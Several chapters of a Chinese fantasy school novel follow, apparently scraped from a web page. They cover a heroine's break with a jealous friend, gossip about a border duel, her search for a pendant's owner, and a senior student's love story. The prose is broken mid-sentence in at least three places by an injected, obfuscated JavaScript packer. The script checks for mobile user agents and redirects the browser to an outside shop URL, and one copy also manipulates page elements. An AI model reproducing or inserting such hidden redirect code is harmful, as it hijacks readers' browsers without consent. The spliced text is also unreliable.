玉文瑛别过脸去,回避她的目光,声音里满是怨怼:“我原以为我们同龄,都来自边城,应该是差不多的,我们会是很好的朋友……可是,我不明白,为什么你什么都能轻而易举地得到?为什么你竟能自带七重灵来入学?为什么梅家世子竟为你开推荐信?那些高门贵女对你……” 意识到一不小心多说了,玉文瑛打住了嘴。 巫寻月仍是一言未发。 玉文瑛也不再想与她多待了,话已至此,干脆决然说个明白。她攥紧手中的暖炉,说话间已然没有半点情谊:“我实在是没有办法再活在你的阴影之下了,若我们不来往,再也没人向我打听你,或许我能好些,就当我从来都不知道,也不会再去想……为什么你能拥有这些……便这样吧,望你能理解。” 玉文瑛说完,也没再看她一眼,匆匆离去,步子急促,像是落荒而逃。 而巫寻月,依旧站在原地,一动不动。很快,一行泪从她脸颊滑落,砸在狐毛之上。 她从没想过自己会给玉文瑛带来这些苦恼,可即便是现在知道了,她也不知自己错从何处起,所以她不知如何向自己解释。 “我原以为我们同龄,都来自边城,应该是差不多的,我们会是很好的朋友……” 她又何尝不是这样以为呢,她总以为在偌大的神都,玉文瑛始终是她的一丝寄托…… 宵明雀环绕的盈盈夜色之中,缓缓升起小声的抽泣,女孩呼吸急促,带起阵阵白雾。 突然,一只手握丝绢的胳膊横到她面前,一道厉声在呵:“哭什么哭?” 巫寻月抬头,慕丹青天神下凡一般地出现在了她眼中,她胸中心潮澎湃,大哭着就扑过去抱住了她:“丹青——啊啊啊……” 慕丹青轻轻拍打她颤抖的肩,很是无奈:“我都听见了,是她脑子有病,关你什么事?” “好了你别再哭了。” “眼泪都沾我衣服上了,湿透了我可伤寒啊。” 巫寻月扑哧一声,被她逗笑了,笑泪混合地抬起头来。见她小脸憋红,慕丹青拿手绢给她擦了擦眼泪,傲慢的语气里夹杂着心疼:“我早就知道会这样,我当初跟你说什么来着,在神都学宫,最终都会以灵力群分,那些硬塞在一处的人,最后都会明白自己德不配位。” 巫寻月低着头,怏怏道:“你还说,我情况如此特殊,不出一阵子就会明白了。” 见她着实伤心,慕丹青又心疼几分,但语气仍显硬冷:“我看你跟你舍友处得不错啊,虽然她们灵力低,可跟你总是和睦的,你们不是还一道出去玩儿吗?” “她们和文瑛不同,”巫寻月叹了口气,很坦率,“说到底,我对文瑛是有期待的,觉得我们有之前的情分在,而且我是真心想助她功课,就像你助我一样……” “可她觉得她并不需要你,”慕丹青一向直言不讳,“她觉得她在学校的日子没有你更好。” “我知道。” 见她神色又黯淡下去,慕丹青想了想,又说:“你可知我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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两人一同来到宿舍院外,在一处角落里,巫寻月正视着她,平静地开口道:“文瑛,你不是一直问为什么我会是今天这样吗?我来告诉你。我爹是当地名医,我娘身体一直不好,生了我和我姐姐后不久便过世了,我爹带着她的骨灰返乡,从此不知所踪,我姐姐十三岁起便掌了家,起早贪黑,吃了所有的苦,才把我家药铺撑起来。后来桑家将我家药铺指定为供货商,我们的日子才蒸蒸日上,姐姐才有钱送我去了学堂。” “可是在学堂里,因为我是女子,先生并不待见我,那些男同学多也嘲笑我是姐姐掌家,无父无母。姐姐不忍看我受欺负,便让我退了学,请先生到家中教我,因此我也有了许多时间出去玩耍。其实姐姐总担心我出去乱跑,可她一个人掌管偌大的铺子,总也管不住我,从此我便到处瞎跑,更成了没人管的野孩子。” “因为没人管,所以我贪玩,酷爱翻山爬树,所谓的遁术天赋便是如此。自然我也要开始学习药草,为姐姐分忧,所谓的药理天赋,又因此而来。至于七重灵,我也不知为何,只是如若并非这一切的遭遇,或许那个人要我来神都之时,我未必就会愿意。” 巫寻月话音落下了,玉文瑛听完,神色似有缓和,也多了几分歉疚。她别过脸去,不敢正视她,小声说:“我……才知你如此辛苦,你姐姐也是不易……虽说我没有七重灵的运数,可若要我像你一样,才能换得七重灵,我必然也是不愿。” “你明白便好,”巫寻月面色未有波澜,始终平静,“我方才也已说过,每个人都有自己的命数,我已然是如此了,我只能坦然接受,步步向前,可谁知我也羡慕你父母健在,阖家团圆。” 玉文瑛无言以对,眼神有愧,却说不出口道歉。 “你不必道歉,”巫寻月替她说了出来,继续说,“我也不需要了,除开你我,这世上还有许多父母健在、阖家团圆,同时也天赋异禀之人——那些你眼中的高门贵女便是,你何故不恼她们?因为你觉得她们生来就该享受这些,而我——不配。” 21. 第 21 章 21. 玉文瑛被戳到痛处,惊愕地看向她,当即否认:“不是这样的……” “你觉得我就该和你一样,天资平平,如何努力也不及她们的开端,”巫寻月打断了她,没打算再听她任何辩解,“可我偏不,我既已到这神都来,自有我所求,我也只图我所求。” 只剩最后一句了,巫寻月留了段空白,并非犹豫,而是正式告别。她依然直视玉文瑛,严词正色道:“文瑛,我曾拿你当好朋友,始终为你留一席之地,许多与你说的话,也从未向她人提起过,可我们所求不同,所想不同,的确无法再一起走下去——望你今后一切都好。” 说完了,巫寻月如释重负,转身就走,完全没打算再接收到任何后续。她得承认,她此番前来,全然是为了自己出口气,与玉文瑛毫无关系。 巫寻月浑身轻松地往前走,道路尽处,慕丹青在那里等她。她正蹲下身去逗那些发光的宵明雀,听到脚步声,她抬起头,挑着眉冲她一笑:“说完了?” 这让巫寻月觉得,这是这一天里最美好的时刻了。 两人一道往回走,巫寻月问她:“明日旬休,你今夜怎不回家?” 终于提到这个了,慕丹青吐了口气,斜睨着她道:“原是想找你一趟便回去的,下山时看见你与她在说话……就这样了。” 巫寻月扑哧一笑:“找我有事?” “——最新消息。”慕丹青故作神秘,就此没了下文,等到听见巫寻月的哀求,她才如惊喜一般说:“边境传回的消息,司城世子与风族敖星泓大战四天四夜,最终两人使出终极必杀技,世子放出封灵级必杀技银河绞杀——打平了!” 慕丹青已开始双手挥舞,见她一脸懵怔,就知她对此事没有概念,哭笑不得地踢了她一脚:“巫寻月!你真扫兴!” “哈哈哈哈哈哈……”比起这消息,巫寻月觉得慕丹青此刻更好笑。 巫寻月挽着慕丹青胳膊往前走,冲她撒娇:“这风族敖星泓是何人啊?你跟我说说呗。” 慕丹青长长地吐了口气,似有些绝望:“我想想……你现在一年级上学期,未学完灵族史,还不知风族内部关系,这我可跟你如何解释……” “这样,我现在也懒得听知识了,”巫寻月想了想,说,“你就告诉我,那个敖星泓在风族排行第几,对应过来,司城世子能排第几?” “你这么说就对了,”慕丹青来劲了,“那个敖星泓是风族独立派第二方士家族的世子,去年二十七岁封灵,年轻气盛小试牛刀,一举挑战他的死对头——也就是风族战力榜第十,一举击败!消息传来,你可知十一令与天听阁如何震撼!” “——等等!”巫寻月越听越糊涂了,“什么方士家族?什么死对头?他们风族怎么还有自己的死对头?第十又是我们的第几?” “……啊啊啊!”慕丹青好抓狂,抓着巫寻月的胳膊使劲晃,“巫寻月!你赶紧给我去读书!” “哎呀你好好说与我听嘛,还能不能好好分享八卦了!” “……简而言之!风族内部分两派,各自有十个家族,他们两派轮流当风族的头头——这你能明白吧?” “嗯,而且一派主战,一派主和,对不对?” “你还是知道一点的,”慕丹青哼了哼,继续说,“每家由一个大方士坐镇,对应过来也就是我们的封号灵师,也就是说——风族有二十位封号灵师,而我们在任的封号灵师有二十一位——但是!万墟洲资源贫瘠,不似我长隐洲,他们培养不出那么多方士,因此偏向于集中资源在几人身上,所以我们一直公认的是,二十位大方士整体要强于我们二十一位封号灵师一些。” “——啊?”巫寻月猛地一下刹住了脚,这她可真是闻所未闻,“怎么会这样?那风族为什么不直接攻打我们啊?” “所以让你去多读书啊!”慕丹青快疯了,“我都说了,因为他们内部制度问题,他们分了两派!这二十个人没法达成一致!” 巫寻月这才松了口气,后知后觉道:“怎么觉得……冥冥之中是上天的制衡之术。” “我们也是如此说,天佑我灵族。” “可万一他们哪天突然团结了呢?”巫寻月如梦初醒般面露惧色。 慕丹青挑了挑眉,平静道:“那我们十一令与天听阁也不是吃素的,自然不会任由他们团结起来。” 政治斗争过于复杂,巫寻月这才读了几天书,自然是参悟不透。她暂且放过自己,跳过了这个话题,恍惚地道:“等等,我们刚才说到哪来着……哦!所以呢?那个敖星蓝——排第几?” “什么敖星澜!敖星澜是他弟弟!是敖星泓!” “哈哈哈哈哈——什么鬼?一红一蓝,他怎么不叫敖星紫?敖星绿?哈哈哈哈——”巫寻月的笑声响彻云霄。 慕丹青简直抓狂:“不是什么红黄蓝绿!是水清澄泓的泓!水无波澜的澜!” “哈哈哈哈哈竟是如此……”等巫寻月笑够了,才缓缓直起腰来,道,“我观这兄弟俩的名字,也像是风雅之人取的,可风族不是一向以荒芜贫瘠著称吗?也有如此文雅之家?” “因为他们是独立派的方士家族,是较传承派风雅多了……”慕丹青赶紧打住,拉回正题,不然她忍不住又叫巫寻月去多读书,“——总之,敖星泓现在在风族能排第十,那对应过来,在我们灵族里大概就是前十了。” 巫寻月作了总结:“所以,今天的重点是,司城世子二十二岁,战力已然进了灵族前十。” “没错!此举可一举震慑风族——我灵族出了一位比他们更早封灵且战力等同的灵师,且再给世子几年,必定实力更强。” 巫寻月纯粹顺嘴一问:“你见过司城世子吗?” 竟没想到,慕丹青如是说:“见过,还不少,大家族宴会自是少不了司城家,司城世子英俊不凡——以你的姿容可堪与他匹配。” “——咳咳咳!”巫寻月一口老痰吐了出来,“……跟我有什么关系?” “你还真别说,”方才慕丹青不过随口一说,话已出口,她才好好地将巫寻月端详一番,“从前大家都觉得司城世子与狄家郡主应是一对璧人,可他们二人不过只是朋友,见面还时常不和,除了狄家郡主,我看也只有你方能与世子登对了。” “好好好,”巫寻月长记性了,不扫她的兴,她佯装端正仪态,道,“明日你便带我前去面见世子,待我事成,必定待你不薄。” “你想得倒美,”慕丹青推了一把她的头,顺带捞她往前走了,“世子戍边两年,你且得好好等等了。” 走着走着,巫寻月突然脸色一沉,正色道:“不对劲。” 慕丹青吓了一跳,也跟着变脸色:“怎么了?” “……我们灵族战力榜第十……是谁来着?” “……是我伯父。” “——哈哈哈哈哈!我逗你的!我记着呢!”巫寻月已跑远了,免得挨打,“所以你今日是赶着来告诉我,司城世子已将你伯父打败了!哈哈哈哈哈——” 慕丹青气急败坏,可她哪用得着用脚追啊,她任巫寻月跑远,一个瞬移,人便来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674297|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了她跟前,如鬼魅般吓了她一大跳。 两人一路打闹,根本无法好好走路。 突然间,巫寻月终于想起来正经事,说:“丹青,你说起司城世子,我有事要告诉你。” 慕丹青已走远:“我不会上你的当了。” “哎呀!这次是真的!”巫寻月追上她,将她拽停,两人相对,她从领口处将那罡灵坠陶了出来。 还真是正经事。寻根溯源,自打今天巫寻月出门开始,就是为了此事。 巫寻月按照之前同玉文瑛的说法,隐去了小白与那个人灵爆部分,将罡灵坠的来历告知了慕丹青,也告诉她自己想去神都城武器店打探之事。 慕丹青将罡灵坠拿到眼前细看,喃喃自语道:“这坠子真是精巧复杂,实在罕见,若真有你所说之能,也的确是我从未听闻之物,或许……真是司城家出产的高级灵器,且需定制的那种。” 巫寻月小心地问:“那,我去店里,可能问到?” 慕丹青睨了她一眼,道:“你是不是忘了,司城迦染是我同班同学?” “我倒是没忘,可总觉得与她不识,如此去问过于冒失了。”巫寻月说的实话。 “没关系,迦染人也好,等旬休后上课,我便帮你问去。” 慕丹青说着,顺手就要将坠子收入怀中了,巫寻月一惊,赶紧拦了她:“哎——” “怎么了?” “我……你……你旬休后才问,我那日再拿去给你吧。” 慕丹青看明白了,揶揄道:“这么舍不得?你怕不是日夜佩戴,片刻不离身?” 巫寻月红着脸,并未否认。 有了慕丹青此番承诺,巫寻月这旬休过得踏实了许多,却也更惴惴不安了许多。 她似乎有种预感,她与答案仅一纱之隔,她依稀能看见他的样子,隐约能探出他的身份,可不知为何,那最后一层模糊的薄纱始终挥之不去,不知是被何人牢牢钉死,又或者,是她自己还不敢掀起来。 上课日上午一大早,巫寻月思虑再三,还是把罡灵坠亲自拿去交给了慕丹青,此后一整个上午都在惶恐不安地等待。 午间下了课,巫寻月一出教室,就看到慕丹青站在不远处的树下等她,手中晃着她的罡灵坠。巫寻月倒吸一口凉气,拔腿朝她跑去,张口就问:“如何?” 慕丹青干脆一口气说到底:“司城家有一专用信使灵兽名唤同心鸾,雌雄一双白鸟,各置于两处,便能同步传信——迦染有侍女在学校里等候,她即刻召来侍女,以同心鸾传信询问家中,很快便传回了消息——这罡灵坠曾是世子之物,可多年前他已经送人了。” 巫寻月心头沉沉一坠,问:“送给何人?” 慕丹青面露为难:“这就不得而知了,毕竟询问的是世子府中近侍,具体所赠何人,也只有世子自己知道,可世子……” “他去边境,戍边两年。”巫寻月怏怏道,“早不去晚不去,偏偏这个时候去。” 慕丹青扑哧一笑:“好你个巫寻月,为了意中人,都敢腹诽起世子了。” “我哪敢。”她闷闷不乐。 ——似乎,一切的结症,还得回到那位司城家世子身上。 其实司城凛已有官职,在十一令中,部众皆称呼他为司城副座,可毕竟还只是副职,远不如世子威名传得深远。 司城迦染这不算没有结果,至少她已可以确定,那个人是与司城世子、梅见蹊都相熟的人,那么是不是……也与狄乐凰相熟呢? 巫寻月心想,是该前去狄府拜访了。 22. 第 22 章 22. 狄家府邸是五大宗族中距离商业区最近的一座,毕竟司掌商贸,许是更喜欢人间烟火气些。 负责接访的侍女验过令牌后,毕恭毕敬地将巫寻月请进了府中。一进门,果真看到几头五尾狰在前院负责迎客,它们或躺或立,见到巫寻月后,纷纷起身,长尾如长袖舞般摇动,领头兽率先仰天嚎叫,随后其余几头再跟上。 侍女见状,有些出奇,笑盈盈道:“小娘子莫怕,这是我家五尾狰在向你表示热烈欢迎——说来许是小娘子与我家郡主颇为有缘,这五尾狰也感受到了,这可是它们最高级别的欢迎仪式呢。” “原来如此。”巫寻月巧笑嫣然,并未多说。这是她自己钻研出的诀窍,能让五尾狰见了她不至那般端正臣服,以免让人生疑。 “郡主正在训练场与家中陪练练功,您请随我来。” 巫寻月有些惊讶,佩服道:“学姐真是用功啊,在学校里每日都在训练场待到闭门才走,难得旬休回家也还是没有休息。” 侍女一笑:“郡主的确不曾懈怠,宗主与夫人也劝她休息休息,可郡主对自己要求很高,说毕业大考在即,还得多加修炼,我们也是很疼惜呢。” 过了前院,一进花园,就见到一群青羽雀形的灵鸟于枝头戏耍。虽外形如常,未有异光,但巫寻月现在已能清楚探知这些低级灵兽的存在,确信并非普通鸟类了。 她问侍女:“这是什么灵兽呀?” 侍女答:“是献雀,传说中象征祥瑞的灵鸟,宗主喜欢,便在府中养了一些。” 沿着弯弯绕绕的檐廊走了许久,巫寻月才真切意识到,这真真是世家大族的宅邸——实在是太!大!了!她感觉自己上次来神都城逛街走的路,都没有从进门起到此刻的多。 又过了一道院门,却还未瞧见训练场模样的地方,侍女觉察出巫寻月些许惊讶,婉婉笑道:“小娘子真不好意思,你第一次到府上做客便要走这许久,若是从郡主住处过来会近一些,可今日你走了正门,等晚些时候奴婢送您出门,带您从侧门出,下次您从那道门进来,可方便些。” 巫寻月笑言:“倒也无妨,这还是我第一次见识世家大宅,一路参观,觉得颇为有趣呢。” 走着走着,她忽然察觉到自己被什么东西盯着,稍一凝神细察,便锁定了方向。巫寻月抬头望去,就见一只白猫傲然立于不远处的屋顶上,双眼炯亮,正盯着她。 巫寻月停下了脚步,她能感觉到,那猫不怀好意——这很反常,按理来说猫同属兽类,同该臣服于巨翼幽虎才是。 侍女也停了下来,循她方向看去,见到白猫,解释道:“这是我家镇宅灵兽,有些傲气,小娘子莫要见怪。” “镇宅灵兽?”巫寻月奇道,“这么一只小猫咪吗?” “灵兽本名白泽,灵力高强,可抵封号灵师,这是白泽兽幻化出来的外形,到了真正危险时才以真身示人呢。” 巫寻月感慨道:“不愧是五大宗族啊……” 可就在巫寻月提步时,那白猫赫然跟着前进一步,张口大叫——很明显带着警告意味。此相一出,侍女诧异地皱起了眉:“奇怪,白泽兽今日怎有些不安?似要阻拦我们。” 巫寻月心中已有猜想,却也只能装作懵懂无辜,慢慢跟着侍女往前。可见她没有停下,反而越走越深,白猫猛然提高了警惕,嘶吼声更甚,眨眼间已然跃到她正前方的屋顶,白毛炸起,虎视眈眈。 “白泽,不可无礼!”侍女已出言训斥,“这是郡主在学校的同学,应郡主之邀前来府上做客,速速退下!” 可那白猫,没有丝毫后退之意,仍旧对着巫寻月呲牙咧嘴。 侍女已摆出抵御之势,手间灵流运转,肃正道:“小娘子,你且退到我身后。” 巫寻月乖乖站到侍女身后,就在剑拔弩张之时,只听空中传来腾飞之声,接而一道倩影飘然落下,身着练功服的狄乐凰在白猫与巫寻月之间英飒而立,声线不怒自威:“白泽,退下。” 白猫见了她,立时收敛阵势,却仍心有不安一般,未肯离去。 狄乐凰加重威严:“退下!” 白猫这才一个转身,翻过屋顶,不见了。 随后,狄乐凰转身过来,侍女向她行礼:“郡主,白泽兽不知何故突然出现,惊扰了寻月小娘子。” 巫寻月也接着行礼:“学姐好。” 一见到她,狄乐凰就喜笑颜开:“你可算来了,那是我家镇宅灵兽,脾性有些顽劣,方才冲撞了你,你可有不适?” 巫寻月的确有些后怕,原想小白留下的气息于她是一道护身符,可镇住所有兽类,可没想到会遭遇今日情形。她猜想白泽兽应是嗅出了巨翼幽虎的味道,以为是来犯之敌,虽应对其臣服,却不忘本职,忠心护主,这才强硬与她对抗不肯离去。 若是对上普通兽类,小白的气息便是一道王牌护身符,可如是这种场景,她毕竟还只是一个在校生,真冲突起来,要她如何招架? 可这些……她谁也不能说。 巫寻月只好一笑,爽朗地道:“没事的学姐,想来是白泽兽没见过我,有些好奇罢了。” “你可不知,白泽兽可敌封灵级别的灵师,若我不在,有些不堪设想,”狄乐凰牵起她的手,转身往里走,还在思虑,“听柴老师说你颇有驯兽天赋,能让兽类拜服,许是它觉察出你灵压中带有驯服之意,不肯屈从,便前来恐吓了。” “那白泽兽也是忠心护主呢,不愧为你家镇宅灵兽。” 狄乐凰有些无奈:“它如此凶你,你还夸它。” 巫寻月笑了:“小猫咪而已嘛。” 外面天冷,狄乐凰将巫寻月带到自己住处,两人一同在榻上落座后,侍女们陆续来上了茶水点心。 “现在校长口味也是怪得很,许是老了,味觉也变了,竟觉得食堂这批厨子厨艺很好,”狄乐凰毫无顾忌道,“可食堂真是难吃,我家茶点做得不错,你多尝尝。” 巫寻月欣然附会:“好啊,那我可要多尝尝。” 她低头吃东西时,狄乐凰在欣赏她的美貌,看着看着便出了神,不自觉道:“看美人用茶点,当真是赏心悦目啊……” “学姐……”巫寻月真是被逗笑了,“那不如你也开始吃,让我也体验一下赏心悦目。” “哈哈哈哈……”两人一同笑。 狄府茶点确实极品,巫寻月吃完一个,惊艳之中又挑了另一个吃,给足了狄乐凰好好看她的时间。忽然她便观察到:“你今日这胭脂好自然啊,一开始我都没瞧出你抹了胭脂,从皮肤透出,如天然自带一般。” 巫寻月一边吃一边说:“该是我在东市听雪坊那家买的,上回去试了好些款,就觉着这个最自然。” “是不是听雪坊快走到头那家?掌柜的脸上有颗大痣?” “对对对,就是那家!” “我也喜欢她家东西!之前买过唇红也特别好用,正想再去买些颜色呢!” “是嘛,那下次我也去试试。” “你什么时候想去?可叫上我一道。” “好呀好呀。” 一聊起脂粉钗环,两人便没了收场。又有谁能比神都第一美人更了解神都衣妆行呢,又有哪个漂亮女孩子不爱脂粉钗环,这些东西根本就是买不尽的,自然也聊不尽。 两人讨论起上妆手法,说着说着,狄乐凰吐了口气:“可惜我近日在家练功,无暇上妆,等过阵子我闲些,再邀你一同梳妆。” 听她这么一说,巫寻月神色看定了些:“你近日消瘦不少,脸上气血也淡了些。” 狄乐凰叹气:“实在是练得不理想,顾不上其他了。” 巫寻月斟酌一二,还是决定说:“学姐,我知你想拿第一名,可你终究……还是控制系。” 此言一出,狄乐凰也沉默了。见她良久无话,巫寻月以为冒犯了,刚要道不是,就听见她说:“我不瞒你,我近日并非苦练必杀技飞升真灵,而是……在提升强攻术法。” 巫寻月一怔,没反应过来:“……提升强攻术法?” “就是加强强攻力量训练,提高灵力输出爆发,以及修炼高级攻击类控术。” 巫寻月明白了,可更是惊诧了:“学姐你已然是控制系灵师,何故……” 狄乐凰问:“你可知双修系毕业生?” “什么?” 见她如预料中惊讶,狄乐凰一笑,解释道:“意为在毕业大考中展现出两种专业类系达到同一水准,即为双修系毕业生。比如,我现在是控制系,我的控制系灵术已然能达到九重灵威力,可我的强攻类灵术仅七重灵威力,若我能在毕业大考时使用出九重灵威力的攻击类灵术,那么我便是身兼控制系与强攻系的灵师了。” 巫寻月大为惊诧:“原来如此……我还没听老师说过。” “这很难,很难很难,十年也未必能出一个双修系毕业生,老师们自然一向是不提的。”狄乐凰面有愁色,“所以,我现在不能再修炼控制系灵术了,如若控制系灵术提升,那强攻系灵术也得达到等同水准……这样只会让我更难。” 巫寻月已然明白她的意图,面带不忍,小心翼翼道:“……学姐,你可真要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“自然是唯一一个了,”巫寻月积极附和,“毕业即真灵,几年也未必能出一个,言封座必然会是封号灵师。” 狄乐凰的脸更红了,眼睛里全是崇拜,她挨近巫寻月,憧憬道:“你说,我和他是不是有点像?他说我太任性,太倔强,他又何尝不是呢?” “学姐,听你说这些,我明白你为什么会喜欢他了……” “其实,这些也是我后来才去打听的。” 巫寻月看出狄乐凰很想说,她也很愿意听,便问了:“那,开始又是为什么呢?” 两个女孩几乎快挨到一起了,狄乐凰的声音不必很大,柔声细语,娓娓道来:“去年暑假我在边境森林一带游玩,那里灵气茂盛,栖息着不少高级灵兽。我被一群鬼面蛛围困,也怪我轻敌,一开始只有一只,我便大开控术将它击败,它却召来了一群同类……我不敌被伤,这时有位灵师出现救了我,便是他。” 女子说起心上人从不愿说名字,只简简单单一个“他”。他便是他,只有一人专属。 巫寻月听得津津有味,追问道:“他怎会出现在那里?” “后来他说,他正好在那里找寻森罗老祖的踪迹,意欲与森罗老祖一战冲击封灵境。” “言封座那时,还并未入封灵境吗?” “是,他那时还有一步之遥,”狄乐凰继续说,“他将我安置之后,又重回边境森林,找到了森罗老祖,虽被重伤,可灵力大有精进,不久后便参悟出了封灵境,因此,今年才得以升任八令座首。” 巫寻月听到后,暗自一笑。这是她第一次听说上古灵兽与灵师间的战斗,原来在她心中威名赫赫遥不可及的封号灵师,与森罗老祖对阵真会被打成重伤,而她的小白就把森罗老祖揍了顿,让其自行败退——这是她第一次具象地理解了巨翼幽虎的战力。 而后,巫寻月很快想到哪里不对:“可是学姐,我在图书馆看过记载上古九大灵兽的书,里面说森罗老祖上一次现世是一千年前了,是图书尚未更新吗?” “嗐,”狄乐凰摆了摆手,“人自然是好面子,书中只会记载上古灵兽的主动现世,不会将灵师挑战上古灵兽载入其中的,因为必然是输,不是输就是死。” “竟是如此……”巫寻月又涨了知识,“所以,其实上古灵兽出现过不止书上那几次,或者可以说其实见过他们的灵师并不少?” “是啊,上古灵兽代表着天地间的神力,许多灵师想要增进,都想找他们一战,”狄乐凰歪着头想,“就拿我知道的来说,极北冥龟、三头魔虺,还有风族的沙海蜃皇,都曾有人挑战,我爷爷年轻时曾与千喉睡魇一战,也是重伤,从此双腿尽废,手指也缺了几根。” “啊……” 事发已久,狄乐凰也不在意,接着说:“但还是去找森罗老祖的最多,一来,它最好找,一直就在那里不挪窝,二来,它现世最多,人们对它的战力有所了解,心里有些底。” 巫寻月悄悄试探道:“那……巨翼幽虎可有人一战?” 23. 第 23 章 23. 挑战上古灵兽此等大事,一旦发生便会传遍大街小巷,能有此实力一战者又不多,自然战事也就那么几桩,并不难记。 所以,狄乐凰直接便答了:“有的。” 巫寻月的心提到嗓子眼,听她接着说:“不记得是何人,与我家并不相熟,只记得似乎是某位阁老的亲信,结局也战死了。” “啊?”巫寻月吓了一大跳,“那是在何处找到的巨翼幽虎?” “不知,灵师要找到上古灵兽也是千万般难,若能活下来还能知道是如何找到的,若是战死便不得而知了,毕竟那种级别的灵力,战斗范围可牵连甚远,在那里发现的遗体,也不一定就是在那里遇见的灵兽。” “原来如此……” 觉察出她不对,狄乐凰打趣道:“你是不是也觉得巨翼幽虎长得最好看?其他灵兽要么不在长隐洲,要么长得恐怖死了。” 的确,巫寻月那时将书看完,三头魔虺、千喉睡魇都是极恐怖之相,只有她的小白长得高贵典雅,一身皮毛光泽靓丽——真是只臭美的母老虎。 巫寻月笑了:“是啊……” 狄乐凰说:“这也是常找森罗老祖的原因之一,听说挑战三头魔虺、千喉睡魇战死的人,死相都很难看呢……” 解了疑问,该回正题了。巫寻月灵盈一笑,拍了拍狄乐凰的手,说:“好啦,继续说回你的言封座大人吧。” “刚才说到哪了……”狄乐凰想了想,“——哦,说他与森罗老祖一战后成功封灵,今年才得升任的。” “不对。” “哪里不对?” 巫寻月仔细一琢磨,复原了记忆:“在这之前,你说他将你安置好了——如何安置的?” 此言一出,狄乐凰的脸瞬间刷红了,迟钝地道:“寻月你还真是……会挑重点……” “我就知道这有好戏看呢!”巫寻月凑近她,“快说快说。” 自然狄乐凰也是想分享的,可实在是羞涩,半天难以启齿,还是巫寻月几番催促,她才缓缓说:“那时……我中了鬼面蛛之毒,他将我抱到安全的地方,所用灵术也只能压制一些毒性,可我伤势严峻,他就用嘴帮我把毒吸了出来……” 巫寻月逮到不对劲了,追问道:“毒在何处?” “……哎呀你真是……” “快说,在何处?” 狄乐凰的脸都快红成猴屁股了,心想反正上次与言萧鹤亲吻也被她撞见,索性便也坦白了。她咬咬牙,承认道:“脚踝,还有……胸口。” “我的天哪——”巫寻月捂住了脸,“这可真是超乎我想象!” “哎呀——”狄乐凰扑过来抱住她,羞得把脸埋到她肩后。 巫寻月迫不及待问:“然后呢?” “他照顾了我一日,又把我送到边境卫所,那里有医疗系灵师在,他原想将我放下就走,可我说我害怕,他便又继续陪着我,”狄乐凰接着细细道来,“三日后我好得差不多了,他就告诉我,他得走了,他要再去边境森林找森罗老祖,我一听吓坏了,那森罗老祖是何等神力,我说要陪他前去,他自然是不肯,匆匆撇下我便走了。” “那你去找他了?” 狄乐凰与巫寻月相视一眼,便已心照不宣。巫寻月如此猜想,是因为——这也会是她的选择。 “是啊,但我去得晚了些,因为我自知帮不上他,也阻止不了他,去早了兴许只会扰他分心,”狄乐凰说,“我先是传信给桑家郡主姐姐讨了最好的药,等拿到药已过了三日了,等我赶到边境森林时,找了他一天一夜,才发现他重伤昏迷在一处河边。我断他脉象时,竟是从未见过之暴乱,虽未封灵,可总归,半步封灵的灵力暴乱若全靠他意志调息,他大约得昏迷个十日了。” 狄乐凰缓了缓,忽然问:“你可知我狄家天赋为何?” “我不知……” “我狄家天赋,乃归元赋,可以远超常人之速重塑灵力脉络,且在此过程中,往往是去芜存菁,固本培元,经调息后,灵力会变得更为精纯,修为大有提升。”见她双眼瞪圆,狄乐凰好笑道:“这不是什么秘密,只是你刚入学不久,还未听说而已。” “吓我一跳……”巫寻月这才松了口气,“我早知五大宗族各有天赋,也知天赋不可外传,因而也没细问……” 狄乐凰被她可爱到了,又笑了好一会儿,巫寻月便主动说:“所以,你可为他稳灵?” “是,”狄乐凰接着说下去,“我先是用药为他稳住外伤,以防灵力外泄,之后为他稳灵,不出两个时辰他便醒了。” “——两个时辰!”巫寻月万分震惊,“……半步封灵的灵力,竟只要不到两个时辰?” 狄乐凰嫣然一笑,到底是家族荣耀,她说这些时自带几分傲气,而后继续说:“灵力虽稳住了,可他还外伤严重,只是短暂醒来,我陪着他在那里养了三日,他才能清醒如常。” 巫寻月嘴角一勾,问:“这三日,他仍是昏迷?” “是。” “那……你可有偷亲他?” “……寻月!”狄乐凰的脸又憋红了,“真是的,你这小小年纪,怎猜得这么准……” ——因为你做了我想做而不敢做的事呀。她在心底暗想。巫寻月着急就要问:“然后呢?他醒了对你是何态度?” 狄乐凰缓了缓,才说:“那时他不知我是狄家郡主,只当我是普通学生,除了感激,还是有些不同的……” 狄乐凰神色恍然,是又浸入了回忆。那些朝夕相处的细节,眉眼相传的情意,是不可用言语明示的,只有他们二人之间才能感受得到。 可她眼神一转,该是事态有了变化。狄乐凰轻叹口气,说:“可他重伤无法长时间使用遁术,我的灵力又不足以带他,我担心他不能及时医治,便召来了我家座驾镇虚鳐……他见到之后,便知我是谁了。” 能召唤狄家座驾镇虚鳐,且又生得国色天香,哪还有第二个答案。 巫寻月问:“然后呢?” “他就开始向我请罪,说当时事出情急才不得已冒犯我,若我怪罪,可以杀了他……可我哪里怪罪他了,”狄乐凰说着就想哭,“我担心他伤势,就说我们先回神都,他便跟着我一同回来了,回来之后,他就要匆匆与我分别,态度也生硬了许多。” 巫寻月不知说什么好,等了一会儿,听她继续说:“后来我有去看他,他也未赶我。再然后有一次,他主动来找我,说前些日子伤势重,未得好好调息,直到那日调息,才察觉到我为他稳灵的迹象……之后我便缠着他带我修炼,他拗不过我答应了,在他的指点之下,很快我便升了九重灵。” 巫寻月把下巴抵到膝盖上,由衷地笑了:“那应该是一段很美好的时光吧。” 